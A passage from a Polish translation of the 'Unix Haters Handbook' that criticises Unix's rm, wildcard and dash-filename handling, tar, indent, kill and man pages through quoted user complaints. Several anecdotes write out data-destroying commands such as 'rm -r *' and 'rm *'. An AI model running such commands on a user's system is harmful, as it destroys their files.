i okaże się, że skasowałeś sobie „*” zamiast „*.foo”. Potraktuj to jako rytuał przejścia.Oczywiście, każdy przyzwoity administrator systemu powinien robić regularne kopie zapasowe. Sprawdź u administratora sieci, czy jest dostępna niedawna kopia zapasowa twojego pliku.

„Rytuał przejścia”? W żadnym innym przemyśle producent nie ma tak niefrasobliwego podejścia do wadliwego produktu. „Wysoki sądzie, wybuch zbiornika z gazem był po prostu rytuałem przejścia”. „Panie i panowie przysięgli, dowiedziemy że obrażenia spowodowane zawodną obudową bezpieczeństwa piły łańcuchowej były tylko rytuałem przejścia dla użytkowników”. „Pokażemy, że okradzenie przez p. Keatinga tych emerytów z oszczędności ich życia było dla nich rytuałem przejścia”. Dokładnie.

Zmiana zachowania rm nie wchodzi w grę

Po kilkukrotnym pogryzieniu przez rm, powstają pomysły stworzenia aliasu rm który wykonywałby „rm –i”, albo jeszcze lepiej, zastąpienia komendy rm programem przenoszącym kasowane pliki do specjalnego ukrytego katalogu jak na przykład ~/.deleted. Te triki usypiają czujność użytkowników poprzez poczucie fałszywego bezpieczeństwa.

Date: Mon, 16 Apr 90 18:46:33 199

24

Page 25: Unix Haters Handbook

From: Phil Agre <[email protected]>To: UNIX-HATERSSubject: deletion

W naszym systemie, „rm” nie kasuje pliku, raczej zmienia jego nazwę w jakiś dziwny sposób tak, że przy pomocy czegoś nazwanego „undelete” (nie „unrm”) można go odzyskać.

To spowodowało u mnie zmniejszoną czujność przy kasowaniu plików, ponieważ zawsze mogłem je odzyskać. Cóż, nie zawsze. Komenda Delete File w Emacsie nie działa w ten sposób, tak samo komenda D w Diredzie. Jest tak oczywiście dlatego że odzyskiwanie plików nie jest częścią systemu plików Unixa a tylko prowizorką dołożoną przez kogoś do komendy shella nazwanej „rm”.

W efekcie mam dwie osobne koncepcje w mojej głowie: „deleting” pliku oraz „rm-ing” pliku i zawsze muszę sobie przypominać którą czynność chcę wykonać kiedy moja głowa mówi moim rękom „skasuj to”.

Niektórzy eksperci Unixowi posuwają argument Phila do absurdu i utrzymują że komendy typu rm w ogóle nie powinny być przyjazne. Argumentują, chociaż nie w sposób taki jak my tutaj, że próba uczynienia Unixa przyjaznym i dołożenia do niego podstawowych udogodnień uczyni go tylko gorszym. Niestety, mają rację.

Date: Thu, 11 Jan 90 17:17 CSTFrom: [email protected] (Randal L. Schwartz)Subject: Don’t overload commands! (was Re: rm *)Newsgroups: alt.folklore.computers

Przerywamy tą grupę dyskusyjną aby przedstawić wam następującą wiadomość…

#ifdef SOAPBOX_MODE

Prosimy, prosimy, prosimy nie zachęcać ludzi do przeciążania standardowych komend „bezpiecznymi” komendami.

1) Ludzie zwykle umieszczają swój plik .cshrc w złym miejscu, więc skrypty chcące „rm” plik tajemniczo pytają o potwierdzenie i/lub zapychają dysk sądząc że naprawdę plik został skasowany,

2) Nie ma sposobu na ochronę przed wszystkimi rzeczami które mogą przypadkowo usunąć jakiś plik, i jeśli uda się ochronić jednego czy drugiego użytkownicy mogą i będą zakładać, że „wszystko da się odkręcić” (całkowita nieprawda!)

3) Jeśli użytkownik prosi administratora (mój obecny kapelusz jaki noszę) o pmoc przy swoim terminalu, komendy nie działają normalnie, co jest cholernie wkurzające jeśli oprócz pomocy temu użytkownikowi masz cztery inne zadania typu „pilne: wymaga uwagi TERAZ” w swojej kolejce.

Jeśli chcesz „rm” który pyta o potwierdzenie, zrób:

% alias del rm –i

I NIE UŻYWAJ RM! Uff. Czy to takie trudne, ludzie!?!

25

Page 26: Unix Haters Handbook

#endif

Wracamy do waszej regularnej dyskusji typu „hackujemy tak długo, aż mamy same zera, nie jedynki i zera”...

Jeszcze jeden hacker systemu.

Ostatnio na comp.unix.questions toczyła się między administratorami systemów dyskusja o ich ulubione horrory. W ciągu 72 godzin pojawiło się 300 postów. Większość z nich opisywała utraty plików w sposób opisany w tym rozdziale. Śmieszne jest to, że są to doświadczeni użytkownicy Unixa którzy powinni wiedzieć lepiej. Jeszcze śmieszniejsze, że nawet pomimo milionów dolarów strat opisywanych w tych wiadomościach, w większości ci sami administratorzy bronili Unixa kiedy został zaatakowany jako system nieprzyjazny użytkownikowi.

Nieprzyjazny użytkownikowi? Unix nie jest przyjazny nawet adminom! Oto przykład:

Date: Wed, 14 Sep 88 01:39 EDTFrom: Matthew P Wiener <[email protected]: [email protected]: Re: “Single keystroke”

Pod Unixem nawet doświadczeni użytkownicy mogą narobić dużo szkód przy pomocy „rm”. Nigdy nie przejmowałem się pisaniem bezpiecznego skryptu dla rm ponieważ nigdy nie usunąłem plików przez pomyłkę. Aż pewnego dnia miałem pecha wpisać „!r” aby powtórzyć kilka komend z listy historii i ku mojemu przerażeniu zobaczyłem jak na ekranie pokazuje się „rm –r *”. Straciłem trochę czasu na posprzątanie wszystkiego.

Może C-shell mógłby używać opcji „nohistclobber”? To pozostaje jedynym przypadkiem kiedy nadpisałem albo usunąłem przez pomyłkę pliki i było prawdziwym ciosem poniżej pasa.

Zbiegiem okoliczności następnego dnia słuchałem historii naiwnego użytkownika który wpisał „rm *” aby usunąć plik „*” jaki nieprawidłowo utworzył sobie z poczty. Szczęśliwie dla niego nie miał praw do zapisu plików leżących nisko w porządku alfabetycznym, więc usuwanie wszystkiego szybko się zatrzymało.

Autor tej wiadomości proponuje dalsze hackowanie shella (poprzez dodanie opcji „nohistclobber”) aby zamaskować zawodną ekspansję znaków typu „*” przez system operacyjny. Niestety, takie „rozwiązanie” jest równie efektywne jak reperowanie ściany uszkodzonej przez wodę poprzez zamalowanie jej nową warstwą farby.

Konsekwentnie niekonsekwentny

Przewidywalne komendy dzielą nazwy opcji, biorą argumenty w podobnej kolejności i tam gdzie to możliwe produkują podobne wyjście. Spójność wymaga skoncentrowania wysiłków na ogłoszeniu standardów. Aplikacje na Macintosha są spójne ponieważ postępują zgodnie z instrukcjami publikowanymi przez Apple. Takie standardy nigdy nie istniały dla Unixowych programów użytkowych. W efekcie w niektórych opcje poprzedza myślnik, w niektórych nie. Niektóre czytają standardowe wejście, inne nie. Jedne piszą na standardowe

26

Page 27: Unix Haters Handbook

wyjście, inne nie. Niektóre tworzą pliki zapisywalne przez wszystkich, inne nie. Jedne raportują błędy, inne nie. Niektóre wymagają spacji pomiędzy opcją i nazwą pliku, inne nie.

Unix był eksperymentem tworzenia systemu operacyjnego tak czystego i prostego jak to możliwe. W warunkach eksperymentalnych wszystko działało, ale nie jako system produkcyjny - badacze z AT&T sami strzelili sobie gola. Aby być używalnym przez szeroki krąg ludzi, system operacyjny musi być bogaty. Jeśli system sam w sobie nie zapewnia fundamentalnego bogactwa, użytkownicy będą wszczepiać funkcjonalność w szkielet leżący u jego podstaw. Prawdziwy problem spójności i przewidywalności, jak sugeruje Dave Mankins, może polegać na tym, że Unix przygotował programistów spoza AT&T bez tego intelektualnego szkieletu do tworzenia takich dodatków.

Date: Sat, 04 Mar 89 19:25:58 ESTFrom: [email protected]: UNIX-HATERSSubject: Unix weenies at their own game

Unixowe świry lubią przechwalać się koncepcyjną prostotą każdej komendy. To, o czym większość zwykłych ludzi myśli jako o podprogramie, Unixowe świry opakowują jako całą komendę, z własną składnią i opcjami.

To nie jest całkiem zły pomysł, zwłaszcza że w nieobecności jakichś innych interpreterów można by napisać całkiem potężne programy poprzez łączenie ze sobą tych małych podprogramów.

Szkoda tylko, że nigdy nie zdarza się żeby ktoś przetworzył te komendy na prawdziwe podprogramu, które można by zlinkować z własnym programem zamiast konieczności pisania własnego parsera wyrażeń regularnych (oto dlaczego ed, sed, grep i shelle mają podobne, ale różniące się w szczegółach rozumienie czym jest wyrażenie regularne).

Najwyższym osiągnięciem estetyki Unixa jest komenda która spełnia tylko jedną funkcję i robi to dobrze. Puryści sprzeciwiają się temu, co robią świeżo upieczeni programiści w Berkeley – program „cat” który łączy osobne pliki i przesyła do wyjścia (nawiasem mówiąc używanie „cat” do wyświetlania plików na ekranie monitora jest wykorzystywaniem jednego z pobocznych efektów, a nie używaniem programu zgodnie z „prawdziwym przeznaczeniem”), ma teraz OPCJE. („Cat powrócił z Berkeley powiewając flagami”, jak mówi Rob Pike, prawdopodobnie ostateczny minimalista Unixowy).

Taka filozofia w rękach amatorów prowadzi do niewytłumaczalnych paraliżujących umysł partactw jak istnienie dwóch programów, „head” i „tail”, które drukują odpowiednio początek albo koniec pliku. Nawet mimo tego, że dublują nawzajem swoje operacje, „head” i „tail” są różnymi programami, napisanymi przez różnych autorów i mają różne opcje!

Gdyby tylko prawa termodynamiki miały tutaj wpływ, Unix byłby w takim samym stopniu niespójny i chaotyczny jak inne systemy które rosły w miarę czasu i nie byłby lepszy ani gorszy od nich. Jednak architekturalne słabe punkty zwiększyły chaos i współczynnik niespodzianek. W szczególności, programy nie mogą zobaczyć linii poleceń, która je wywołała, żeby spontanicznie się nie spaliły. Shell spełnia rolę pośrednika który uładza i syntezuje linię poleceń z tego, co użytkownik napisał. Niestety, shell zachowuje się raczej jak inspektor Clouseau niż Florence Nightingale.

Wspominaliśmy, że shell przeprowadza ekspansję znaków uniwersalnych, jak na przykład zastępuje gwiazdkę (*) przez listę wszystkich plików w katalogu. To jest wada #1;

27

Page 28: Unix Haters Handbook

program powinien wykonywać bibliotekę dokonującą ekspansji znaków zastępczych. Zwyczajowo programy traktują opcje jako swój pierwszy argument, zwykle poprzedzony myślnikiem. To jest wada #2. Opcje (przełączniki) i inne argumenty powinny być oddzielnymi całościami, tak jak to jest w VMS, DOS, Genera i wielu innych systemach operacyjnych. Wreszcie, nazwy plików w Unixie mogą zawierać wszystkie znaki, łącznie z niedrukowalnymi. To jest wada #3. Te wybory architekturalne źle ze sobą oddziałują. Shell listuje pliki alfabetycznie podczas ekspansji „*”, i jako pierwszy w leksykograficznym systemie kastowym występuje myślnik (-). Tym samym, pliki zaczynające się od myślnika są pojawiają się pierwsze kiedy „*” jest użyty. Te nazwy plików są traktowane jako opcje dla wywoływanego programu powodując nieprzewidywalne, niespodziewane i niebezpieczne zachowania.

Date: Wed, 10 Jan 90 10:40 CSTFrom: [email protected] (Kees Goossens)Subject: Re: rm *Newsgroups: alt.folklore.computers

Znam historię biednego studenta któremu zdarzyło się mieć w domowym katalogu plik nazwany „-r”. Kiedy próbował (jak przypuszczam) usunąć wszystkie pliki z tego katalogu napisał:

% rm *

… i oczywiście usunęło się wszystko oprócz pliku „-r”. Na szczęście nasz system backupu był całkiem dobry.

Niektóre ofiary Unixa próbują przekształcić ten błąd nazwy pliku traktowanego jako przełącznik w „funkcję” poprzez trzymanie pliku nazwanego „-i” w swoich katalogach domowych. Piszą „rm *” i shell ekspanduje to jako „rm –i lista_nazw_plików”, co prawdopodobnie spowoduje zapytanie o potwierdzenie przed skasowaniem każdego pliku. Niezłe rozwiązanie, dopóki nie przeszkadza ci tworzenie pliku nazwanego „-i” w każdym katalogu. Być może powinniśmy zmodyfikować mkdir żeby taki plik tworzył się automatycznie. Potem powinniśmy zmodyfikować ls żeby tych plików nie pokazywał.

Niemożliwe nazwy plików

Znamy wielu ludzi którzy pomylili się przy zmianie nazwy pliku w efekcie czego powstała nazwa pliku zaczynająca się od myślnika:

% mv file1 -file2

Teraz spróbujmy przemianować plik z powrotem:

% mv -file2 file1usage: mv [-if] f1 f2 or mv [-if] f1 ... fn d1(‘fn’ is a file or directory)%

Taka nazwa pliku nie powoduje jednak problemów z innymi komendami Unixowymi ponieważ nie ma spójności pomiędzy nimi. Na przykład nazwa pliku „-file2” jest koszerna dla Unixowego „standardowego edytora tekstowego”, ed. Taki przykład świetnie działa:

% ed -file2

28

Page 29: Unix Haters Handbook

434

Ale nawet jeśli zapiszesz ten plik pod inną nazwą albo zdecydujesz się poddać i skasować ten plik, twój kłopot pozostanie:

% rm -fileusage: rm [-rif] file ...% rm ?fileusage: rm [-rif] file ...% rm ?????usage: rm [-rif] file ...% rm *file2usage: rm [-rif] file ...%

rm interpretuje pierwszy znak nazwy pliku (myślnik) jako opcję linii poleceń, a następnie narzeka, że znaki „l” i „e” nie są prawidłowymi opcjami. Czy nie wygląda to trochę zwariowanie, że nazwa pliku zaczynająca się od myślnika, zwłaszcza wtedy gdy myślnik jest rezultatem dopasowania znaku uniwersalnego, jest traktowana jako lista opcji?

Unix zapewnia dwa niezależne i niekompatybilne obejścia problemu w celu wyeliminowania błędnie nazwanego pliku:

% rm - -file

i:% rm ./-file

Manual do rm twierdzi że pojedyńczy myślnik pomiędzy rm a pierwszą nazwą pliku mówi rm, że ma traktować wszystkie dalsze myślniki jako nazwy plików, nie jako opcje. Z jakiegoś nieznanego powodu zestawienia opcji dla rm i jego kuzyna mv zapominają o opisaniu tej „funkcji”.

Oczywiście, używanie myślnika aby zaznaczyć „ignoruj wszystkie następne myślniki” nie jest uniwersalną konwencją, jako że interpretacja komend dokonywana jest przez każdy program z osobna bez pomocy standardowej biblioteki. Programy jak tar używają myślnika do oznaczania standardowego wejścia lub wyjścia. Inne programy po prostu to ignorują:

% touch -filetouch: bad option -i% touch - -filetouch: bad option –I

Rozbaw swoich przyjaciół! Zmieszaj swoich wrogów!

Często komendy Unixa dają rezultaty które wydają się mieć sens; dopiero kiedy próbujesz je zastosować zdajesz sobie sprawę, jak nonsensowne są naprawdę.

next% mkdir foonext% ls -Fd foofoo/next% rm foo/rm: foo/ directorynext% rmdir foo/rmdir: foo/: File exists

Oto sposób na zabawienie i ucieszenie swoich przyjaciół (uprzejmość Leigh Klotz). Najpierw, w wielkiej tajemnicy, zrób coś takiego:

29

Page 30: Unix Haters Handbook

% mkdir foo% touch foo/foo~

Potem pokaż swojej ofierze rezultat tych zaklęć:

% ls foo*foo~% rm foo~rm: foo~ nonexistent% rm foo*rm: foo directory% ls foo*foo~%

Na koniec wypróbuj coś takiego:

% cat - - -

(Podpowiedź: wciśnij ctrl-D trzy razy żeby odzyskać z powrotem prompt!)

Dokumentacja online

Ludzie częściej wybierają prezydenta niż czytają drukowaną dokumentację. Jedyna dokumentacja, jaka się liczy to ta on-line, dostępna za naciśnięciem klawisze lub kliknięciem myszki. Stan dokumentacji w Unixie zasłużył sobie na własny rozdział w tej książce, więc w tym miejscu wspomnimy tylko o tym, że system man zawodzi najczęściej tam, gdzie jest najczęściej potrzebny: u początkujących.

Nie wszyskie programy są tak samo tworzone: niektóre są wywoływane przez shell, a niektóre są wbudowane w shell. Niektóre mają swoje własne manuale. Inne nie. Unix oczekuje od ciebie wiedzy, która jest która. Na przykład wc, cp, ls są programami na zewnątrz shella i mają własne manuale. Ale fg, jobs, set, alias (skąd się wzięły takie długie nazwy?) są przykładami komend, które żyją w shellu i tym samym nie mają własnych manuali.

Początkujący któremu powiedziano żeby użył „man komenda” aby uzyskać dokumentację danej komendy gwałtownie ulega konfuzji, bo widzi że niektóre komendy są udokumentowane, inne nie. Jeśli do tego jest zdenerwowany shellem innym niż opisany w książkach, nie ma nadziei na oświecenie bez konsultacji z guru.

Komunikatom błędów i sprawdzaniu błędów mówimy NIE!

Początkujący zawsze popełniają błędy, używają złych komend albo dobrych komend ze złymi opcjami lub argumentami. System komputerowy powinien wykrywać te błędy i odsyłać z powrotem do użytkownika. Niestety, programy Unixowe rzadko się tym przejmują. Zamiast teo, Unix wydaje się podążać drogą składania błędów ze sobą w sposób powodujący fatalne rezultaty. W poprzedniej sekcji pokazaliśmy, jak łatwo przypadkowo skasować plik przy użyciu rm. Ale prawdopodobnie nie zdajecie sobie sprawy jak łatwo skasować plik bez użycia komendy rm.

Aby skasować plik, użyj kompilatora

30

Page 31: Unix Haters Handbook

Niektóre wersje cc często gryzą studentów poprzez kasowanie plików wyjściowych przed sprawdzeniem oczywistych problemów wejściowych.

Date: Thu, 26 Nov 1992 16:01:55 GMTFrom: [email protected] (Tommy Kelly)Subject: HELP!Newsgroups: cs.questions9Organization: Lab for the Foundations of Computer Science, Edinburgh UK

Właśnie zrobiłem:

% cc -o doit.c doit

zamiast:% cc -o doit doit.c

Nie trzeba chyba dodawać, że straciłem doit.c.Czy jest jakiś sposób na odzyskanie pliku? (Od rana był intensywnie

modyfikowany).

Inne programy przejawiają to podobne zachowanie:

From: Daniel Weise <[email protected]>To: UNIX-HATERSDate: Thu, 1 July 1993 09:10:50 -0700Subject: tarred and feathered

Po wielu próbach udało mi się ściągnąć ten 3.2 MB plik przez słabe łącze ftp z Europy. Czas na rozpakowanie.

Napisałem:

% tar -cf thesis.tar

… i nie dostałem odpowiedzi.Uuuups.

Czy jest tam „c” zamiast „x”?Tak.Czy tar wyrzucił komunikat błędu ponieważ nie określono plików?Nie.Czy tar w ogóle zauważył problem?Nie.Czy tar nie spakował żadnych plików?Tak.Czy tar nadpisał mój plik śmieciami?Oczywiście, przecież to Unix.Czy muszę stracić kolejne 30 minut na ściągnięcie pliku?Oczywiście, przecież to Unix.

To niesamowite. Jestem pewien, że ten błąd dotknął wielu ludzi. Jest tak wiele prostych dróg na uniknięcie takich strat: raportowanie błędów, wersje plików, podwójne sprawdzenie czy użytkownik chce nadpisać istniejący plik itp. Wygląda na to, że ciężko pracowali aby stworzyć tego typu straty.

31

Page 32: Unix Haters Handbook

Ten błąd najciężej uderza w administratorów systemów którzy używają tar do backupowania swoich systemów. Niejeden admin napisał w skrypcie backupu „tar xf ...” zamiast „tar cf ...”

To prawdziwa pomyłka. Taśmy się kręcą. Admin nie podejrzewa, że tar próbuje czytać z taśmy, zamiast zapisywać na taśmę. Wszystko pozornie idzie zgodnie z planem, dopóki ktoś nie potrzebuje odzyskać pliku. Wtedy następuje niespodzianka: backupy wcale nie są backupami.

Jako wynik pobieżnego albo w ogóle braku sprawdzania błędów szeroka gama „narzędzi programisty” daje użytkownikom szeroki wybór możliwości utraty ważnych informacji.

Date: Sun, 4 Oct 1992 00:21:49 PDTFrom: Pavel Curtis <[email protected]>To: UNIX-HATERSSubject: So many bastards to choose from…

Mam tutaj program, nazwijmy go foo, który ciągle chodzi na mojej maszynie, zapewniając usługi sieciowe i sprawdzając jej (masywny) stan wewnętrzny co 24 godziny.

Wszedłem do katalogu zawierającego działającą wersję programu i jako że nie jest to katalog rozwojowy dla tego programu, byłem ciekawy jaka właściwie wersja kodu działa. Kod jest utrzymywany używając RCS, więc naturalnie zamierzałem napisać:

% ident foo

aby sprawdzić, jakie wersje plików źródłowych są zawarte w pliku wykonywalnym. [Nieważne, że RCS jest oczywiście złą rzeczą albo że „ident” działa w sposób niewiarygodnie barbarzyński; mam twardszy orzech do zgryzienia...]

Oczywiście pomyliłem się przy okazji i napisałem „indent” zamiast „ident”:

% indent foo

Okazuje się, że „indent” jest nazwą Unixowego debilnego pomysłu na przetwarzanie plików C. Czy sk**syn który napisał ten poroniony program rozważył sprawdzanie, czy plik wejściowy na pewno jest plikiem C (na przykład poprzez sprawdzenie czy nazwa kończy się na .c)? Myślę, że znacie odpowiedź. Dalej, Rzeczony Sk**syn zdecydował, że jeśli da się indentowi tylko jeden argument, kod źródłowy zostanie przetworzony na miejscu, nadpisując starą zawartość pliku. Ale nie ma się co martwić, RS wiedział że możesz się martwić o to, więc dla pewności RS dodał zapisywanie kopii starej zawartości w pliku foo.BAK. Czy RS po prostu zmienił nazwę pliku na foo.BAK? Oczywiście nie, o wiele lepszą metodą jest skopiowanie wszystkich bitów z foo do foo.BAK, następnie obcięcie pliku foo i zapisanie w nim nowego, przetworzonego pliku. Sk**syn.

Może teraz rozumiecie, o co chodzi w tej krótkiej historii...Kiedy Unixowy program działa i stronicuje z pliku wykonywalnego, jest

naprawdę wkurzony jeśli ktoś grzebie się w jego bitach. W praktyce wywala się bez nadziei na odzyskanie. Straciłem zapis 20 godzin zmian stanu.

Oczywiście, zepół sk**synów którzy zaprojektowali (ekhm) Unix nie byli zainteresowani tak złożonymi sprawami, jak system plików uwzględniajacy wersje, co

32

Page 33: Unix Haters Handbook

także pozwoliłoby mi uratować dane. Ci sami sk**syni nie mogli wyobrazić sobie blokowania pliku, który aktualnie dokonuje stronicowania, prawda?

Tak wielu sk**synów do wyboru; czemu nie zabić ich wszystkich?

Pavel

Wyobraźcie sobie farbę zewnętrzną wydzielającą chlor podczas schnięcia. Nie ma problemu jeśli używa się jej na zewnątrz zgodnie z instrukcją, ale pomaluj sobie nia sypialnię i możesz się już nie obudzić. Jak myślisz, ile taka farba utrzymałaby się na rynku? Na pewno nie 20 lat.

Błędne żarty

Czy śmiejesz się kiedy kelner wywróci się z tacą pełną kieliszków? Unixowe świry tak. Są pierwsi w kolejce do wyśmiewania się z nieszczęśliwych użytkowników, próbujących zrozumieć komunikat błędu nie mający związku z tym, co wpisali.

Ludzie opublikowali niektóre absurdalne komunikaty błędów jako żarty. Poniższe Unixowe kalambury krążą w Usenecie bez przypisanego autora. Działają w C-shellu (csh, tcsh).

% rm meese-ethicsrm: meese-ethics nonexistent

% ar m Godar: God does not exist

% "How would you rate Dan Quayle's incompetence?Unmatched ".

% ^How did the sex change^ operation go?Modifier failed.

% If I had a ( for every $ the Congress spent, what would I have?Too many ('s.

% make loveMake: Don't know how to make love. Stop.

% sleep with mebad character

% got a light?No match.

% man: why did you get a divorce?man:: Too many arguments.

% ^What is saccharine?Bad substitute.

% %blow%blow: No such job.

Te próby humoru działają w shellu Bourne’a (bash):

$ PATH=pretending! /usr/ucb/which senseno sense in pretending!

33

Page 34: Unix Haters Handbook

$ drink <bottle; openerbottle: cannot openopener: not found

$ mkdir matter; cat >mattermatter: cannot create

Unixowe nastawienie

Namalowaliśmy raczej posępny obraz: tajemnicze nazwy komend, niespójne i nieprzewidywalne zachowania, brak ochrony przed niebezpiecznymi komendami, ledwo akceptowalna dokumentacja online, nieodpowiedzialne podejście do sprawdzania błędów i złożoności. Goście w Domu Unixa nie są w nim dla przyjemności. Są gośćmi na misji ONZ w Trzecim Świecie, nie w Disneylandzie.

Jak Unix obrał tą drogę? Część odpowiedzi jest historyczna, jak wskazaliśmy. Ale jest też druga część: kultura konstruktorów i rozbudowujących Unixa. Ta kultura zwana jest „Filozofią Unixa”.

Filozofia Unixa nie jest spisanym zbiorem zasad pochodzącym z Bell Labs albo Unix Systems Laboratory. Jest dowolną i płynną etyką. Różni autorzy wskazują na różne jej atrybuty. Life with Unix, autorstwa Dona Libes i Sandy Ressler (Prentice Hall, 1989) zrobiło szczególnie dobrą robotę podsumowując te cechy:

- Małe jest piękne.- 10% pracy rozwiązuje 90% problemu.- Jeśli zachodzi potrzeba wyboru, rób to, co jest prostsze.

Na podstawie empirycznych dowodów – Unixowych programów i narzędzi, bardziej aktualne podsumowanie Filozofii Unixa to:

- Mały program jest bardziej pożądany niż funkcjonalny albo poprawny.- Tandetna robota jest świetnie akceptowalna.- Jeśli zachodzi potrzeba wyboru, wymiguj się.

Unix nie ma filozofii, ma nastawienie. Nastawienie mówiące że prosta, w połowie zrobiona robota jest lepsza niż złożona i dobrze wykonana. Nastawienie zapewniające, że czas programisty jest ważniejszy od czasu użytkownika, nawet jeśli na jednego programistę przypadają tysiące użytkowników. Jest to nastawienie wychwalające najmniejszy wspólny podzielnik.

Date: Sun, 24 Dec 89 19:01:36 ESTFrom: David Chapman <[email protected]>To: UNIX-HATERSSubject: killing jobs; the Unix design paradigm.

Ostatnio nauczyłem się jak zabić proces w Unixie. W tym czasie nauczyłem się wiele o mądrości i mocy Unixa, więc pomyślałem, że podzielę się tą wiedzą z wami.

Większość z was, oczywiście, nie używa Unixa, więc wiedza o tym jak zabić proces może być dla was niepotrzebna. Niemniej jednak część z was, tak jak ja, może mieć okazję do uruchamiania zadań TeX-a, w którym to wypadku umiejętność

34

Page 35: Unix Haters Handbook

zabijania procesów jest żywotna. W każdym przypadku, reguły leżące u podstaw komendy „kill” są rygorystycznie stosowne w Unixie, toteż ta wiadomość może być ogólnie użyteczna.

Unix pozwala na zawieszenie procesu poprzez ^Z, albo na wyjście i zabicie przez ^C. LaTeX przechwytuje jednak ^C. W konsekwencji nagromadziłem kilka tuzinów procesów LaTeX-a. To mi naprawdę nie przeszkadzało, ale byłoby uczciwie spróbować się ich pozbyć.

Większość systemów operacyjnych ma komendę „kill”. Unix też. W większości systemów operacyjnych komenda ta zabija proces. W Unixie implementacja jest znacznie bardziej ogólna: komenda „kill” wysyła wiadomość do procesu. To ilustruje pierwszą regułę projektową Unixa:

o Daj użytkownikowi moc poprzez uogólnianie operacji.

Komenda „kill” jest bardzo potężna, pozwala na wysłanie wielu komunikatów do procesów. Na przykład, jeden z komunikatów jakie można wysłać do procesu każe mu się zabić. Ta wiadomość to –9. –9, oczywiście, jest największą jednocyfrową wiadomością, która ilustruje kolejną regułę projektową Unixa:

o Wybieraj proste nazwy będące odbiciem funkcji.

We wszystkich innych systemach operacyjnych jakie znam komenda „kill” bez argumentu zabija aktualny proces. Unixowa komenda „kill” zawsze wymaga argumentu procesu. Ten mądry projekt ilustruje inną mądrą regułę projektową:

o Zapobiegaj przed przypadkowym pokaleczeniem się użytkownika przez wymaganie długich komend albo potwierdzenia niebezpiecznych operacji.

Zastosowania tych reguł są wszędzie i dobrze udokumentowane, toteż nie muszę się nimi zajmować, wspomnę tutaj tylko o Unixowych implementacjach wylogowywania się i kasowania plików.

We wszystkich innych systemach operacyjnych jakie znam, argument procesu dla komendy „kill” to nazwa procesu. To jest nieadekwatny interfejs, ponieważ można mieć wiele procesów LaTeX-a (na przykład), z których wszystkie mają tą samą nazwę – „latex”. Tak więc „kill –9 latex” jest dwuznaczne i niejasne.

Jak większość systemów operacyjnych, Unix ma komendę do wyświetlenia twoich zadań, mnemonicznie nazwaną „jobs”. Wyjście z tej komendy wygląda mniej więcej tak:

zvona@rice-chex> jobs[1] - Stopped latex[2] - Stopped latex[3] + Stopped latex

To łatwo pozwala na przyporządkowanie poszczególnych zadań LaTeX-a do numerów zadań wyświetlonych w nawiasach kwadratowych.

Jeśli na twój sposób myślenia miały wpływ dobrze przemyślane systemy operacyjne, myślisz pewnie że „kill –9 1” zabije pierwsze zadanie na liście. Przekonasz się jednak że otrzymasz przyjazny komunikat błędu:

zvona@rice-chex> kill -9 11: not owner

35

Page 36: Unix Haters Handbook

Właściwy argument dla komendy „kill” to numer procesu. Numery procesów to numery w stylu 18517. Możesz znaleźć id procesu poprzez komendę „ps”, która wypisuje zadania i numery ich procesów. Po znalezieniu numeru procesu piszesz:

zvona@rice-chex> kill -9 18517zvona@rice-chex>[1] Killed latex

Zwróć uwagę, że Unix daje prompt przed potwierdzeniem zabicia procesu. To ilustruje inną zasadę projektową Unixa:

o Mów użytkownikowi tylko tyle ile to konieczne i nie wcześniej niż to konieczne. Nie obciążaj jego możliwości umysłowych zbędnymi informacjami.

Mam nadzieję że to małe ćwiczenie było dla was kształcące. Z pewnością wyszedłem z głębokim podziwem dla filozofii projektowej Unixa. Elegancja, moc i prostota Unixowej komendy „kill” powinna być dla nas wszystkich lekcją.

36

Page 37: Unix Haters Handbook

Rozdział 3: Dokumentacja?

Jaka dokumentacja?

„Jedną z zalet używania Unixa do nauczania na kursie systemów operacyjnych jest to, że źródła i dokumentacja mieszczą się łatwo w teczce studenta.”

- John Lions, Uniwersytet Nowej Południowej Walii,mówi o Wersji 6 [Unixa], około 1976

Przez lata istniały trzy źródła dokładnej wiedzy Unixowej:

1. Czytanie kodu źródłowego.2. Napisanie własnej wersji.3. Rozmowa z autorem programu przez telefon (albo pytanie przez sieć e-mailem).

Unix był jak Homer, przekazywany jako ustna wiedza. Po prostu nie było poważnych użytkowników Unixa którzy nie byli hackerami kernela – albo przynajmniej mogliby się nimi bardzo łatwo stać. Dokumentacja która została spisana – niesławne Unixowe „manuale” – były niczym więcej jak zbiorem przypomnień dla ludzi którzy wiedzą co robią. Dokumentacja Unixa była tak zwięzła, że można było ją przeczytać całą jednego popołudnia.

Dokumentacja online

Dokumentacja Unixa zaczynała jako program nazwany man. man był małym programem użytkowym który brał argument od użytkownika, znajdował pasujący plik tekstowy przepuszczony przez nroff z makrami „man” (zestawem makr formatujących tekst nie używanych do niczego innego na tej planecie), i wreszcie wysyłanych do wyjścia poprzez pg albo more.

Oryginalnie, te namiastki dokumentacji nazwano „man pages”, ponieważ opis każdego programu zajmował trochę więcej niż stronę (a często mniej).

man był świetny w swoich czasach. Ale minęło wiele lat. W ciągu tych lat system manuali powoli rósł i dojrzewał. Na jego korzyść, nie stał się zagmatwaną masą kodu i konfudujących programów jak reszta systemu operacyjnego. Z drugiej strony, nie stał się też niczym użytecznym. Rzeczywiście, przez ponad 15 lat, Unixowy system dokumentacji online przeszedł tylko dwie istotne zmiany:

1. catman, w którym programiści mieli „przełomowy” pomysł, że mogą przechowywać manuale jako pliki źródeł dla nroff i jednocześnie jako pliki już przetworzone, tak żeby szybciej pojawiały się na ekranie. W epoce dzisiejszych szybkich procesorów, hack taki jak catman nie jest już potrzebny. Ale wszystkie te przetworzone przez nroff pliki nadal zajmują megabajty miejsca na dysku.

2. makewhatis, apropos i key (który został ostatecznie wchłonięty jako man –k), narzędzia budujące permutowany indeks manuali i pozwalające na przeglądanie manuali bez znajomości dokładnej nazwy programu, którego się szuka. (Te narzędzia są w tej chwili wyłączone w wielu wersjach Unixa, co powoduje pojawienie się

37

Page 38: Unix Haters Handbook

tajemniczego komunikatu o błędzie w chwili wywołania przez naiwnego użytkownika.)W międzyczasie, postępy w elektronicznym publikowaniu dawno odfrunęły od

